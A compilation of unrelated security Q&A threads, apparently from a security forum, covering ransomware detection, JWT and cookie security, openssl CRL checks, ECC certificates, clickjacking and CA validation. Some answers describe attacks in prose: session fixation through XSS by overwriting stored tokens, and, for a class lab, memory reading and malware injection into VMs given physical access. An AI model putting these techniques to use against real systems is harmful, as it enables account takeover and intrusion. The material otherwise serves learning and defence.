Ransomware aversion and identification techniques I don't think there's a need to go into the background here, but identification of the process may be better explored.

From a developer pov, at a high level, the files are modified, by virtue of the attack and attacker, they are modified quickly. This is an I/O operation. If I wrote a service that would monitor the IO on my machine for a large bump (configurable, process aware etc but thats implementation) could I not easily identify that; something weird is going on and shut down I/O ops for that period.

I do understand the implications of having low lvl HW control from a service/application, but lets say its a unicorn.

Is this the fastest response to 0days which wont be picked up ? To write for the HW level ? Or are there other factors involved ?

I know retail machines, even enterprise deskptops would not fly, but datacenter lvl, where backup corruption would be catastrophic would surely see some value.

Thoughts welcome.

// EDIT

The initial idea was to write for the firmware level, then maybe the bios, maybe even if advanced options of SSD's for example, I don't mean a service that will sit in the OS, as close as possible to the the HW lvl, hopefully self container like a PLC .. Well better.

// Edit 2
Comment @sir-muffington

This wasn't mentioned yet: protecting your MBR/GPT against overwriting is a good approach to protect against ransomware.

The best mitigation against ransomware that has gotten onto your network isn't to stop it as quickly as possible, it's to already have backups.

The first step is to identify the vector and contain all of the potential malware, not just the ransomware.

Until you can rule out additional payloads, you do not want your users on the network where they can potentially be infected.  If the user machines get infected, they can re-infect the servers more easily than an outside source, so you want to isolate them.

This means that the files on your server will be unavailable to your users, whether the files had been maliciously encrypted or not.  It doesn't matter how quickly you stop the encryption: Once you have confirmed the vector and contained the malware, you should be taking off and nuking the entire site from orbit reformatting the disks and restoring from backups; it's the only way to be sure.

For many businesses, this means a couple of days where the office workers will be sitting idle while the servers are being rebuilt, but it's a much better option than having an undetected back door where attackers are able to get your business's sensitive information.

Watching I/O can help detect a ransomware attack, in addition to other ways, but in general, be wary of any tool that automatically stops I/O based on unusual usage, as it could create false positives, frustrating users who will seek other (less secure) ways to move a large number of files if they can't do so with the servers in the network.


Photo Attachment's Feature For Some Mail Servers You already know google started new service which is related to gmail.

http://gmailblog.blogspot.com/2013/11/attachments-in-gmail-now-with-power-of.html

When we send new mail to friends.If it contains any attachment(photo etc ) , photos will open directly with mail.

Is there any security problem with this subject?

Can I easily understand mail is opened or not?

What can attacker do with this feature and malicious code?

There have been 2 recent changes to Gmail:

1.

Gmail will show images by default, proxied through Google's servers (and "checked for known viruses or malware"). If there's an exploitable vulnerability that can be embedded in a JPEG image, we'd probably have been screwed a long time ago since any website can also show images without any virus checks being run on them.

The changes probably don't affect open tracking. But you won't be able to see user IP addresses / user agent strings.

2.

Gmail will provide more options with regard to saving attachments. This should also not change anything since 1) old-style "open attachment" will still be available 2) attachments are scanned for viruses anyway. Attachments are parsed (for previews etc) server-side, so a (for example) PDF with malicious scripts won't affect users any more than with the old "trick user into opening a malicious file" method.


Is it safe to call mount(2) and pass the password as a parameter? I wanted to write a daemon that users can start, and that, every 2 hours, automatically mounts an authenticated network share. The daemon will prompt the user for the password only the first time, and it will keep it mlock()ed then.

My idea was to somehow call the linux program mount(1) (manpage notation). The protocol for the mounting (in my case samba) only allows to give the password via the mount options -o [1]. However, passing the password as a parameter to a shell script makes it visible in the ps-table.

Then, I found out that there's a linux system call mount(2) that takes the same parameters. Is it safe to simply pass the password as plaintext to mount(2)'s parameters?

Things I worry about:

mount(2) might be implemented by calling a process where it passes the arguments, including the password. This would leave the password in the ps-table. However, I think system calls won't do that?
mount(2) might have its parameters in non-mlock()ed memory, e.g. if the system swaps, the plaintext password is readable on disk. I don't know if a system-calls memory can be swapped, but since the mount call is only active for a short time, I guess this is no real issue.
mount(2) might (maybe depending on the file system type) print error or log messages exposing its parameters. (e.g. in system files like /var/log/messages or the dmesg output). At least, I just tested mount(2) with the MS_SILENT flag and did not find any system logs, even on failure.

All in all, how safe is my solution?

Notes: [1] Samba also allows plaintext authentication files or typing the password at a prompt, but that was not useful in my case.

mount(2) might be implemented by calling a process it is just the opposite: mount(1) is a front end ultimately calling mount(2) which being a system call asks the kernel to do the job
mount(2) might have its parameters in non-mlock()ed memory unsure of it, but why do you think that mlock memory is secure? AFAIK root can read /dev/mem and /dev/kmem as (more?) easily as the content of the swap partition...
mount(2) might (maybe depending on the file system type) print error or log messages exposing its parameters it would indeed be a security threat, and I do not know any network mount utility ever logging a password in clear text. Anyway as said in 1, any attempt to mount the network share will ultimately end in a mount(2) call so you cannot avoid it.

TL/DR: it is far more secure to call mount(2) that starting a subprocess to call mount(1) because the parameters passed to the subprocess command will be accessible through the process table and can be displayed with ps with the appropriate options and the error condition processing will be much simpler.


Data needed for why not to load third party JavaScript on web page with credit card form My company makes a JavaScript widget that e-commerce sites can embed on their pages. Our current instructions to our customers tell them to load our JS on every page of their site and most follow this advice to the letter, even including it on their pages with credit card forms. I have been petitioning for us to change the instructions to "load on every page except the one with the credit card form", but I have not yet been successful.

My company's primary concern is that our customers will put us through extra scrutiny or otherwise conclude that our product is insecure and that we will loose business as a result of this. They also do not believe that there is a significant risk in having our JS on the credit card page.

Update: As BrianAdkins mentioned below, I had already suggested that we send our clients a short snippet of JavaScript that checks the URL and then adds our <script> element only if URL isn't a match for the checkout page. But it was met with the same opposition as before. There were also concerns about what if the url changed or how to handle situations where we can't tell if it's a CC page or not from the URL. (We have at least one customer where this is the case.) So my original request still stands.

What I'm looking for is:

Facts: Are there any examples of business that have been compromised this way? What was the outcome?

Or, alternatively, is there any data that shows I'm wrong and that this is only a theoretical issue that doesn't happen in practice?

Perception: What can we share with our customers to counter the idea that being concerned about security indicates we're less secure?

For example, does including third-party JS on the CC page violate PCI-DSS? "Requirement 7: Restrict access to cardholder data by business need to know" sounds like it might, but I don't see anywhere where it explicitly discusses this situation.

Most ecommerce sites include google analytics code on payment pages.  Payment pages are also a prime candidate for a/b testing using JS tools such as optimizely or visual-website-optimizer.

There are also integrations to third-party product subscription engines that rely on JS passing CC data from the cart back to the service's mother ship (e.g. Ordergroove) via https.

Many ecommerce platforms make it easy to include a widget on all pages via a templating system, but difficult to exclude just a single page in the conversion funnel.

One option might be to wrap your widget in a bit of JS that ends up NOT including your remote code in instances where the URL matches a specific pattern.  This would allow your customers to place the code everywhere (in all templates), while easily preventing the execution of your code on specific pages.  This could be delivered as alternate installation instructions.


Security of using DHCP and non-standard ports for medical devices I recently came across this comment written in a journal article.

  Lastly,  medical  apparatus are expected to use Dynamic Host Configuration Protocol (DHCP) for the allocation of their IP addresses and even worst [sic] use non-standard ports for their communication creating an unstable environment of information that is hard to address

Can some explain why DHCP and non-standard ports are considered so risky?

Can some explain why DHCP and non-standard ports are considered so risky?

I don't think that this was claimed. I think instead that the quote was taken too much out of context which lead to a misinterpretation. The relevant context for this quote was

  Two major factors made the filtering process challenging....

Thus, this paragraph does not talk at all about the security of DHCP or non-standard ports as assumed in the question. Instead it argues that these mechanisms made it harder to collect and filter the information necessary to evaluate the security of the systems: If a device is using typical ports it is easier to use a system like Shodan to find exposed devices than if the device uses atypical and thus unknown ports for the communication. And if it is harder to detect problems it also means that there might be in reality more problems than were detected.


Verify Certificate is revoked by CRL I set up a CA and signed some cert request.

I revoke them by:

  openssl ca -config config.cnf -revoke cert.pem

I update CRL by:

  openssl ca -config config.cnf -gencrl -out crl/crl.pem

index.txt shows a 'R' for this cert, also when I check the crl.pem the cert is listed as revoked. So I think that worked fine.

Now the issue: I can not check the cert if its revoked. Can some give me the right command.
If I try:

  openssl cerify -CAfile cacert.pem cert.pem

I'm not able to find the right syntax to include the crl file.
I read something about hashes of the certs? But couldn't figure out how to do it.

You need to specify -crl_check (and spell verify correctly) AND have both the CA cert and the (applicable) CRL in your truststore. There are two ways to do that:

concatenate cacert.pem and crl.pem into one file and use that for -CAfile.
put or link the cacert PEM file in a directory using the name $hash.0 where $hash is the hash of the cert subject (which for a root cert is also the issuer) as output by openssl x509 -noout -subject_hash -in $cert; and put or link the CRL PEM file in the same directory using the name $hash.r0 where $hash is the hash of the CRL issuer as output by openssl crl -noout -hash -in $crl (which here will be the same as the cert); and use that directory for -CApath. (In a more general case where you have many certs and/or CRLs and there are hash collisions, you increment the 0 to 1 etc.)

Approach 2 is probably the one you have seen referenced, but note it is not the cert nor the CRL as such that is hashed. Depending on whether you're using the source distro of openssl or a packaged build, on Unix it may provide a script c_rehash which sets up symlinks for approach 2; on Windows AFAICT you're on your own, and doing it by hand is rather a nuisance (but possible).


Storing credit cards for automatic payments? I have no experience with storing credit cards and I do not know anything about the legal end of this.

The company I work for / develop for wants to store credit cards to process auto payments for accounts that are on layaway.

Does anyone know a site that lays out the guidelines, or experience with storing credit card information internally? I have heard that whatever server stores the card information is not allowed access to the internet and all information has to be encrypted.

Can anyone provide some feedback? Or know of a service that handles this for companies?

There are lots of different ways in which PCI impacts what you do; I'd point out the data security standards (PCI-DSS). Among many other things, they require strong  authentication for anyone accessing the system remotely, and have a wide variety of restrictions on what kind of data you can keep.

Don't even think about storing credit cards without understanding PCI.

At high levels of sales, you will have to be audited by an accredited third party, and the audits can be quite strict, so start documenting early with that in mind.


Json Web Tokens with anonymous login I have inherited an app that allows users to buy a gift card, and then see the gift card details after they have bought it. There are 4 main API calls - one to buy the gift card, one to get gift card details, one to attach a message to the gift card, one to get an images associated with the gift card.

Currently, the UI checks if there is a token in local storage and, if not, makes a call to /login. This is a anonymous login endpoint that returns a Json Web Token called an accessToken and a userId, which is a GUID. The token has this GUID baked into it, and expires in 60 days.

The structure of the API calls are:

/buy/{userId}/giftcard

/view/{userId}/giftcard/{giftcardKey}

etc

The 2nd call is protected with 2FA via SMS. Someone trying to steal the gift card details would need to giftcardKey and access to the phone associated with the gift card.

The accessToken is sent in the Header. The call is deemed to pass authentication if the userId in the URL is matched to the userId baked into the accessToken.

I have a few questions:

What are the advantages and flaws of this approach? Are JWT really necessary when users' don't actually have accounts? For example, I don't see what the point is to have this type of security for the buy gift card call.

A current problem is if a user comes back after 61 days, the API calls fails as the accessToken has expired - and they need to clear local storage for it to work. This is obviously unacceptable. What is a better approach?

EDIT:
I just today discovered that the UI uses cache expiry TTL... when page refreshed, the UI get's data from localStorage and if it's 24h old, that means "cache miss" and "no data exists" and UI does /login again. So the above 61 day scenario wont happen....

What are the advantages and flaws of this approach? Are JWT really necessary when users' don't actually have accounts? For example, I don't see what the point is to have this type of security for the buy gift card call.

From what I can see, users do have accounts, although minimal. As in, there are users with IDs and gift cards are linked to them. What you described makes sense, /login authenticates and establishes a "session" of sorts.

Having this authentication before a buy allows you to bind the new gift card to the user who authenticated.

As for how this approach compares to others and what alternatives you have, take a look at the Web Authentication Guide.

  A current problem is if a user comes back after 61 days, the API calls fails as the accessToken has expired - and they need to clear local storage for it to work. This is obviously unacceptable. What is a better approach?

This is the typical case of needing to keep alive an authenticated session. What you described is an implementation of this using JWT. This works but has its downfalls. More on session management here.


Session id in custom header Is there a way to perform session fixation attack with XSS present if session id is passed in request header?

As far as I see it, theoretically there are three ways to do so:

intercept request on login, substitute session id (have not found any ways to do with JS without additional installations for client like service workers which I couldn't make work yet or browser extensions)
intercept response from the server and substitute session id that was offered by the server (also no information on that one expect for above options).
get session id from local storage (at the moment it's not clear where the session cookie is stored)
  а. overwrite localStorage  with setItem
  b. overwrite sessionStorage with setItem
  c. overwrite document.cookie
  d. if custom way of storing session is used, reverse engineer the client code to find out how and use in XSS. I understand that custom header is not the standard way to operate with sessions, therefore the responsibility for storing and getting saved session ids is on the client JS. So, there must be a way to overwrite local storage with cookies.

If my outline of available options is correct (please, correct me if there was a mistake), of all options the only one that seems real is attacking the storage. In this article it's said that:

  As we can see, the session token is sent in a custom HTTP header X-AUTH-TOKEN. Sending session tokens in custom HTTP headers, protect applications from Cross-site Request Forgery (CSRF) attacks. Unfortunately, the fact that globals cookie, storing the token, must be available from javascript, in order to be included with a request, makes the application exceptionally vulnerable to token theft.

As for local storage attack, I generally understand, but what about intercepting requests and responses and changing them on the fly? As far as I understand, to intercept requests and responses there must be a malicious browser extension installed on the client. We certainly cannot set custom header from HTML, the only option left - JS (I know XHR can do that, but that would be a separate request which is not an option with session fixation). But how exactly and whether at all it can be done, is not yet clear to me. Are there ways to do that?
Can anyone give some piece of advice on this one?

httpOnly Cookies
Just to be clear, your question is implicitly excluding sites that store session ids in httpOnly cookies.  The reason is because such cookies are completely inaccessible to javascript, so it would not be possible for them to send the session id up in a custom header if the session id was stored in an httpOnly cookie.  You already know this, but I want to state this requirement out loud.
All Other Methods of Session Management
In literally every other case for session management, session fixation is possible in the event of an XSS attack.  In short, if the Session Id is in a custom header then it must be accessible to their javascript so that they can attach it.  If it is accessible to their javascript, then it is accessible to the attacker's javascript.  The only data source that javascript doesn't have access to are httpOnly cookies, which aren't being used here.
Session Ids are stored in local storage?  An attacker's javascript can replace the value stored in local storage.  The session ids are stored in a non-httpOnly cookie?  The attacker can replace it there too.  Other than an httpOnly cookie, there are no data sources that would be accessible to their javascript and not the attacker's.  As a result, session fixation is just a matter of reverse engineering the javascript to figure out where the token is stored.  There is no need to intercept requests or get web workers installed (although you can possibly intercept requests without web workers).  A malicious extension could certainly modify requests in transit, but again this is not necessary - an XSS attack alone is sufficient.
Again, to try to emphasize the important point here: you wouldn't want to bother trying to intercept requests.  That can be quite a pain.  All you need to do is figure out where and how the session id is stored client side, and inject your chosen session id there.  Since it is accessible to their javascript, it is accessible to the attacker's javascript.


Is it possible to steal a non secure Cookie when the Web Server (IIS) only allows Https? Is it possible to steal a non secure Cookie (Secure Flag is false) when the Web Server (IIS) only allows Https?

Of course it is possible...

Think about it this way:

The secure flag ensures that the cookie is locked to HTTPS.
HTTPS ensures that the connection with the server (requests + responses) is tied to the server's certificate.
The server's certificate ensures the actual identity of the web server.

Now, if you remove that first step, the cookie obviously can be sent in an HTTP request...
Which can be sent to a different server....
Which is impersonating your web server.

There are many forms of attack (e.g. DNS spoofing) that would cause you to connect with the wrong server, and of course HTTPS (using TLS/SSL) mitigates that quite well.
Even if your actual application IS using HTTPS, there is no guarantee that the bogus server is, right?

But let's not stop there, there is an even more trivial scenario.

You say that your web server only allows HTTPS.
That is, it will only accept requests that are HTTPS, and it will reject outright any HTTP requests.
But that HTTP request was already sent in the clear.

If an attacker - or even just a careless programmer - can cause just a single request to be sent from the user's browser over HTTP, then that cookie WILL be sent. Over HTTP. In the clear. With no encryption. (I have actually seen this quite a bit in the wild, the 2nd type more than the 1st...)

Often, that is all that is needed.

Do yourself (and your users) a favor, always enforce HTTPS at all levels.


ECC based Client Certificate import in Chrome/Mozilla in windows I have deployed a PKI server and successfully able to generate the ECC based user or client certificates. but non of the web browser support ECC as public key. I have tried different tools and also trying to work this with MS CAPI through openssl but haven't get succeed.

Can some one recommend a utility for any of the web browser that can help to import the ECC based user certificate into its keystore?

or is there any library that can support this?
here is the my certificate..

  /ejbca/p12/pem#

openssl x509 -in testp256.pem -noout -text
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 5786377012642498827 (0x504d573c470ac90b)
    Signature Algorithm: ecdsa-with-SHA256
        Issuer: CN=ECCP-256, OU=admin, O=test
        Validity
            Not Before: Aug 23 13:32:42 2013 GMT
            Not After : Aug 23 13:32:42 2015 GMT
        Subject: CN=testp256
        Subject Public Key Info:
            Public Key Algorithm: id-ecPublicKey
                Public-Key: (256 bit)
                pub:
                    04:81:65:b4:c1:f4:95:7f:68:46:80:f2:42:5b:bf:
                    87:84:0a:98:42:3d:0a:e8:70:5c:e4:b3:4e:d7:29:
                    71:af:ce:c5:b3:fe:fd:02:2a:f3:bd:83:f7:50:23:
                    d1:75:af:dd:23:1f:be:62:a7:7a:d0:e2:be:03:c2:
                    e3:18:89:21:f4
                ASN1 OID: prime256v1
        X509v3 extensions:
            X509v3 Subject Key Identifier:
                D7:27:DD:14:F1:42:0E:9C:E3:50:E1:D1:33:20:8A:53:DE:F2:14:14
            X509v3 Basic Constraints: critical
                CA:FALSE
            X509v3 Authority Key Identifier:
                keyid:EA:55:E0:24:6F:EA:9E:3C:63:FD:FF:AA:A6:DC:31:1F:F0:1C:FB:F7

            X509v3 Key Usage: critical
                Digital Signature, Non Repudiation, Key Encipherment
            X509v3 Extended Key Usage:
                TLS Web Client Authentication, E-mail Protection
    Signature Algorithm: ecdsa-with-SHA256
         30:45:02:20:08:1b:44:e0:9b:ab:3c:9e:f6:e3:ef:28:d4:1e:
         cd:08:f4:1a:f5:21:c8:9f:e6:e0:6c:5e:7f:52:d0:47:a5:bf:
         02:21:00:ce:1a:58:57:f1:6b:82:5f:f2:72:af:ea:95:a3:05:
         02:ab:63:bf:13:fe:98:c2:0e:c2:a5:d3:d9:b9:74:77:6a

I have spent some time this morning to make some experiments on Firefox (version 26, for MacOS X), Safari (6.1.1, for MacOS X 10.7.5) and Chrome (31.0.1650.63, for MacOS X 10.7.5). Chrome and Safari both rely on MacOS's support for X.509 certificates, which is managed through KeyChain.

All my tests use EC keys from the P-256 curve, which (in the certificates) uses the "named curve" encoding. All certificates were generated with OpenSSL and match what you show. In particular, the extensions in your certificate are fine and work flawlessly in a RSA-based certificate.

What does not work

KeyChain refuses the import of any certificate which features an ECDSA public key; it returns an error "-67712" which maps to errSecInvalidKeyRef, aka "An invalid key was encountered.". See this reference page. Interestingly, KeyChain is supposed to be aware of the existence of ECDSA Keys since MacOS X 10.7, but this seems not to have percolated into full support for X.509 certificates containing ECDSA keys or signed with ECDSA.

Firefox uses its own cryptographic code called NSS. This includes X.509 support. Support for elliptic curve cryptography is new in NSS, and, more importantly, it is optional, so its presence depends on whether it was activated or not at build time. These messages indicate that at least RedHat still builds Firefox/NSS without ECC support.

In my tests, Firefox (the MacOS X version, obtained from the official source) accepts to try to import certificates with ECC, but with mixed results. A certificate signed with ECDSA will be somewhat broken; Firefox's GUI, when displaying the certificate, will claim that the certificate "cannot be verified for unknown reasons". Firefox will fail on the following:

Validating a server's certificate which has been signed with ECDSA.
Using a client's certificate which has been signed with ECDSA.
Using a client's certificate which contains an ECDSA key.

What works

Firefox, Safari and Chrome appear to be happy to connect to a SSL server whose private key is of ECDSA type. All three seem to require that the certificate has been signed with RSA (haven't tried for DSA), though. So the server itself may use elliptic curves and the cipher suite can be ECDHE-ECDSA-AES128-GCM-SHA256 (that's what Chrome used in that case), meaning that the key exchange was an elliptic curve based Diffie-Hellman, and the server half of that ECDH key exchange was signed by the server with its ECDSA private key. Chrome used TLS 1.2 (good !); Safari still uses TLS 1.0 (less good, but not too bad).

Replacing SHA-1 with SHA-256 or back changes nothing to all of this, so SHA-256 support seems, at last, to have reached completion.

OpenSSL supports EC keys in certificates, for certificate signatures, and for client and servers with no problem. In my tests, the server was OpenSSL with the s_server command-line option. openssl s_client connects to my server without any issue and can use an EC-based client certificate.

What might work

A custom build of Firefox with ECC support fully activated in NSS might work better. In any case, first try the P-256 curve (as you do) because most software that claim to "support ECC" actually support only two curves, P-256 and P-384 (because of the so-called "NSA Suite B cryptography"). Support for the 13 other NIST curves (from FIPS 186-4) is much more confidential; support for "generic curves" is a rarity (I never observed it in the wild).

Recent versions of Internet Explorer are supposed to be aware of ECDSA. Note that Windows has two internal frameworks for cryptography, CryptoAPI (the old one) and CNG. Only CNG supports EC keys, or, for that matter, SHA-256. CNG appears in Windows Server 2008 and Windows 7; up-to-date IE on these Windows versions should be able to use both certificates containing EC keys and certificates signed with ECDSA, both for client and server. At least so claims the documentation. Don't trust it until you have tested it, though.

Chrome on Windows will rely on Windows' abilities for X.509 certificates, so it is plausible that Chrome on Windows 7+ would be on par with IE's abilities on the same platform. There again, tests should be performed.


How to identify and patch a hardware vulnerability? Software and systems vulnerabilities are often patched with updates, or by avoiding the use of some OS or softwares that have multiple flaws. Regarding hardware vulnerabilities, I do not have a lot of knowledge. To better understand the situation I have two question:

How to check for a hardware vulnerabilities on some devices (e.g. PCs)?
How to patch a hardware vulnerability?

Here is an example:

Summary:
Intel is releasing mitigations for a privilege escalation issue. This issue affects certain Intel processors based on older Intel micro-architectures. The issue identified is a method that enables malicious code to gain access to System Management Mode (SMM).
Description:
An issue was disclosed to Intel which leverages architectural differences in processors prior to 2nd Generation Intel® Core™ Processors to gain access to System Management Mode (SMM). Administrator or root level privileges are required to execute the attack.

I'll be using modern Intel CPUs as an example of hardware. For most other hardware, you can identify bugs, but often you cannot patch it, but only work around it by trying to avoid the buggy behavior.

Hardware bugs are identified similarly to the ways bugs are identified in closed source software. Internal audits and reports in the wild are mostly responsible. Unfortunately, there are a lot of bugs which we will never discover both due to the closed source and highly secret nature of these devices, and the incredible complexity of how they operate.

Due to the fact that CPUs are incredibly complex, CPUs are released with the expectation that they will have bugs. As a result, Intel has designed them to be updated. Only in absolutely disastrous cases does Intel have to recall the actual hardware. But even though they are hardware, but they can also load firmware which overrides some of the hardware circuits with firmware code, called microcode. This microcode is stored inside the CPU and must be loaded at each boot. It contains fixes for known errata. Typically, the microcode is stored in the BIOS, which applies it while the CPU loads. The operating system also contains a more up to date version which is applied as well.

In the specific case you mention, they are releasing mitigations in the form of microcode updates. These updates will be present in new BIOSes (theoretically, at least. I'm sure many BIOS vendors will be far too incompetent... but that's another discussion), and in updates to operating systems, which apply the microcode updates to the CPU during boot.


Determine relation between many keys I have many keys of short length (6 bytes) and I know some factors that might be used to calculate them. I know for sure that the can be obtained with the given information.

Since the keys are very short and so are also the factors that may be involved in the generation, I was wondering what would be the approach of discovering how they are generated.

Multiple keys have in common the same UID and differentiated by the "block" of data they authenticate, for example (all values are in hex):

UID: 8de73004

Keys generated for this UID:
1b47cf796936 (block 15)
d53c00f53a3d (block 14)
5f42136fec45 (block 13)
3b1547f2ee91 (block 12)

I also assume there's a private key involved in the process.

I think it's also worth nothing that the keys never change and do not depend on the content of the block.

Is there a particular approach to do this? Or are there simply too many possibilities that it's not worth it?

With any decent key derivation function and a 128-bit secret key, it's possible to generate blocks of output for every UID such that, if you know all the outputs except for one bit of one block of output for one UID, and you don't know the secret key, then you have no way to know what this one missing bit is. (As in, if you used all the computers currently existing, it would take you more than the age of the universe to have a better chance of guessing the value of that bit than flipping a coin.)

So unless somebody did something stupid or there was no attempt at security, you can't find how the output was generated by observing outputs alone as a black box. You'll need to reverse engineer the code.


Protect against clickjacking but allow framing on domain? I'd like to protect against clickjacking using the X-Frame-Options header, but we occasionally frame secure content on the insecure version of our site1:

Since it looks like only Firefox currently supports the ALLOW-FROM form of the header, I'm considering conditionally serving the header:

By default, include X-Frame-Options.
If your referrer is ^(.*\.)?example.com$, leave the header out.

It seems like this would work, and it fails safe: if someone's browser doesn't send a referrer or a corporate firewall strips it out, they don't get to pay us (which is bad), but our content can never be framed on third-party sites (which would be worse).

How would this strategy work in the real world?

1 Some of our ad partners historically haven't supported serving ads over HTTPS. We're investigating whether this has changed.

EDIT: To clarify, we only nest a secure iframe in an insecure page in one case: an ad-supported user purchasing something for the first time inline. We can't currently serve the whole site over HTTPS for those users and we don't want to send them to a separate page or open a popup window.

Ad-free users get HTTPS all the time, and we're investigating the feasibility of serving ads over HTTPS too.

First I'd advise simplifying the problem by getting rid of the secure content being served over a frame.

Not a dig against you or your organization, but we're trying to train the world not to trust forms like the one you provided an image for. I know this isn't part of your question, but a Secure Transaction image is no substitute for that https cert.

If your 3rd party partners have no need to function as a portal for your secure content, then eliminating that possibility would simplify your problem. Implement no-exceptions anti-click-jacking for your secure content. Do the whole page as HTTPS, not just a form or a frame. If someone uses my free wifi hotspot at an airport, I can easily jack the whole form or frame and replace it with my own that looks identical, complete with Secure Transaction image.

Back on point, with the elimination of secure content simplifying the issue some, what remains is a browser compatibility problem with X-Frame-Options.

Theres a question over at stack overflow that discusses this, but it doesn't seem to truly solve the problem, but does answer the question: Browser compatibility continues to be a problem.

Another thing you might consider, I've done some work with porthole.js before for cross-frame communication and one of the things it made me think about is having the ability for a child frame to validate its parent, and for the parent to validate the child frame.

You can quickly check porthole's compatibility by visiting their demo site with the browsers that you care about supporting.

Additionally you could have your partners identify themselves with a querystring.

<iframe src="www.site.com/?partner=3tqdHB"></iframe>

Then when your click-jacking detection detects a parent window, check to see that the proper querystring parameter exists. If it does, challenge the parent frame to prove it's identity, sending a nonce.

The parent frame could then use the provided nonce with it's key to prove it's identity to you.

If everything works out, don't execute your kill script, otherwise, execute kill script.


Are we safe from phone-to-phone-spreading BlueBorne malware horror case? While reading through the technical whitepaper of the BlueBorne attacks I've noted that it is required for the attacker to know my Bluetooth MAC-Address.
They claim it should be really easy to obtain it by using one of the following techniques:

Sniff Wifi traffic and get the unencrypted MAC from the raw wifi frames, assuming the attacker is not connected to the WIFI I am (for example by using this device)
Sniff Bluetooth traffic, for example while I use it with headphones (for example by using the mentioned Ubertooth)

Both of these things are easy to do as long as you have the special hardware.

However if one infects my phone and wants it to infect a third device, how can my phone sniff the required MAC-address of the third device?

Most phones have no special sniffing hardware nether for Bluethooth[1] nor Wifi[2] so it is hard to get the third device MAC, which is required for the attack. The only way I can think of getting MACs would be to guess/brute-force them?

So, are we then "safe" from phone-to-phone-spreading malware horror case?

[1] "Since the “Monitor Mode” of Bluetooth is very limited in tools widely accessible for researchers, [...]" http://go.armis.com/hubfs/BlueBorne%20Technical%20White%20Paper-1.pdf

[2] "It is not possible to capture from the internal Wi-Fi interface on Android without running a custom firmware and gaining root access." https://www.kismetwireless.net/android-pcap/

I guess BlueBorne is a big thread but is still a "ghost". At the moment, there is no public exploit published. The author of the paper used eight different zero-day vulnerabilities (four in android bluedroid , two in linux BlueZ, one in windows and one in iOS) to perform the hack and to perform this, a lot of knowledge is required. Only very skilled hackers can do it. The probability of being hacked is still very low. But I guess soon there will be public exploits available and the thread will be real.

You can see here an awesome video of the hack pwning a Google Pixel device:

BlueBorne on YouTube

There is available an app to check if your device is vulnerable to this hack:

https://play.google.com/store/apps/details?id=com.armis.blueborne_detector

Regarding the spreading. I'm not sure if it can be a big problem (this is purely opinion based).

Anyway, remember best practices. Only to turn on Bluetooth if you really are going to use it (at car or however). Bluetooth has a very short range. The probability of being hacked at car is almost none :)


How CAs verify they are issuing the certificate to the correct party? Say youtube.com wants to generate their new certificate. How certification authority verify that the request came from youtube.com, not from a party pretending to be youtube.com?

There are a variety of methods to prove that the requester of a certificate owns a specific domain.
Usually these are based on some kind of challenge given by the CA which the requester must somehow associate with the domain in a way that the CA is able to check this association. This might be an entry on a special place on the domains web site, it might be some DNS record for the domain, it might be that the requester is able to receive a mail with the challenge to a specific account on this domain etc.
While these kind of domain validation (for DV certificates) can be automated there are additional manual checks by the CA for EV (extended validation) certificates.
And with your specific example of youtube.com the situation is different: certificate for this domain are not issued by a public CA but by Google itself. Google has a sub-CA issued by a public CA and can use it to issue their own certificates. How exactly this is done is not known to me, but I expect them to use a very different process described than described so far because there is no need for them to actually prove the ownership of a domain which they own themselves.
Note that the process of domain verification is not fully reliable. If attackers can get control over the domain or parts of it even for a short time they might be able to create valid certificates for the domain which then later can be used in MITM attacks. This actually happened in the past.
For more information including the more technical details see Let's Encrypt Challenge Types,  How does LetsEncrypt.org's ACME work?, Please help verify my understanding of Domain Validation (DV) SSL Certificate.
Please also note the role of the (optional) CAA DNS records to restrict, which CA is even allowed to issue certificates for a specific domain. This somewhat addresses the risk that any CA can issue certificates for any domain.


Is there an anti-proxy detection available? Sites like Wikipedia and Google (among others) don't let you sign up through a proxy or TOR (at least with Google, you have to provide SMS verification if you sign up through proxy.) Somehow they detect it that you are behind a proxy.

Is there a workaround for that? I'm thinking of a service which tell these site you are not behind a proxy, even though you are. Is there such a thing?

There is no magic way to detect a proxy.  What they are likely doing is looking for IPs that have lots of different users coming from them or that are published as Proxy end points.  A proxy that has a limited number of clients and doesn't publish itself as such would seem no different from any other internet user.  The problem is that such a proxy would need a large number of IPs to avoid being detected as a proxy and would thus be difficult to manage.


What can I do with physical access to a server? I am taking a Sec Lab class and we've been sectioned into teams and tasked with 'attacking' the other teams while 'defending' against them.

Each team is set up with 4 VMs, and we have a few days to harden them.  ALL VMs live on a single server which we have physical access to (it's in the lab room).  Each VM will be loaded with a flag.txt file which we cannot hide/modify/encrypt etc.  The goal is to simply gain entry into other teams' VMs.

I am wondering -- since I have physical access to the server, is there any way for me to tap into all of the VMs and bypass the designated passwords?  Or to inject keyloggers or something of the sort in order to collect all of the passwords?

For obvious reasons, I won't be asking this in class, but I am curious.. since everyone is focusing on plans of attack via port scans, mitm network spoofing, etc.. I am thinking of different, less brunt, approaches.

If anyone could offer some advice on what I could actually do after physically plugging into the VM farm server, please let me know!

What you can do will to certain extent depend on the setup they have. For example, if they have full disk encryption, you can't extract the flag directly from the host OS.

Also, you can monitor their network traffic (and MITM it), but if they know what they are doing, it should all be encrypted.

However, you can always try to memory-hack the OS, as RAM will not be encrypted. By accessing the memory, you should be able to read any keys, as long as you can locate them. You can also attempt to modify the code running on the machine by simply rewriting (injecting malware) a running process with root privileges or just modifying the security software (disable checks, make it accept any password/key whatever else you need). Again, you need to be able to locate what you want to change and figure out how to change it, which may not be easy.


How does SSL protect against network level attacks on integity? I would like to know if there is any way to demonstrate how an attacker may attack the integrity of a website due to an unencrypted connection and how SSL will avoid this.

For the aspect of confidentiality, the following example explains:
When an unencrypted connection is made to a website, an attacker use a packet sniffer such as wireshark to sniff unencrypted wireless connections and obtain passwords that are sent on the unencrypted wifi. With SSL, the data (and thus passwords) would be encrypted.

What would be a similar example, but for data integrity?

If integrity was not maintained, an attacker could alter Web pages in transit, and, for instance, modify Javascript code contained in these pages. Encryption, by itself, does not prevent relatively precise alterations, provided that the attacker has some idea about what the encrypted data is. In most Web contexts, the attacker can also register as a normal user, so he can see the structure of Web pages that normal users obtain.

